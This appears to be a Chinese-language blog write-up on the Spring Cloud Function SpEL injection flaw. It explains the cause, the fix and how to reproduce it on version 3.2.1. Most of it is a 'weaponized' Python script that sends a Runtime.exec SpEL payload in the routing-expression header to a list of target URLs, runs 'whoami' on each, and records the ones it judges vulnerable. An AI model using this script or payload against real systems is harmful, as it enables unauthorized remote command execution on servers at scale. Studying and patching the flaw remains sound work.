Spring_SPEL漏洞学习复现

Spring Cloud Function SPEL漏洞

漏洞简介

漏洞编号

暂无

漏洞原理

1
2
在Springboot中支持使用在header中直接指明调用对应函数的方式,但是在Spring的Routing-function中获取Header头时使用了功能强大但安全性不高的StandardEcalutionContext导致在处理时直接传入了SPEL进行了命令执行。
在修复的版本中,已新增了headerEvalContext对象,该对象所对应的是使用了仅支持最基本功能的SimpleEvaluationContext。来避免了漏洞的发生

漏洞复现

使用idea的Spring项目构建一个基本项目

流程1

流程2

流程3

等待项目初始化完毕后,编辑pom.xml文件

pom.xml

将版本改为可受影响的版本,目前3.2.2版本已修复所以我这里尝试的3.2.1

然后直接运行项目即可,默认启动端口为8080

利用idea的http项目直接创建一个.http结尾的文件

然后在其中直接请求

复现

点击执行即可触发漏洞

效果

武器化

批量检测Poc脚本-(简单通过返回码及返回内容判断影响)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import sys
import threading
import urllib3

urllib3.disable_warnings()


def test(txt, cmd):
path = '/functionRouter'
payload = f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'

data = 'data'
headers = {
'spring.cloud.function.routing-expression': payload,
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
f = open(txt)
urllist = f.readlines()
for url in urllist:
url = url.strip('\n')
all = url + path
try:
req = requests.post(url=all, headers=headers, data=data, verify=False, timeout=5)
code = req.status_code
text = req.text
rsp = '"error":"Internal Server Error"'

if code == 500 and rsp in text:
print(f'[+]{url} 存在漏洞')
poc_file = open('succ.txt', 'a+')
poc_file.write(url + '\n')
poc_file.close()
else:
print(f'[-]{url} 不存在漏洞')

except requests.exceptions.RequestException:
print(f'[-]{url} 检测超时')
continue
except:
print(f'[-]{url} 检测异常')
continue


if __name__ == '__main__':
try:
cmd1 = sys.argv[1]
t = threading.Thread(target=test(cmd1, 'whoami'))
t.start()
except:
print('用法:')
print('python XXX.py target.txt')
pass
finally:
print('exit![0]')
exit(0)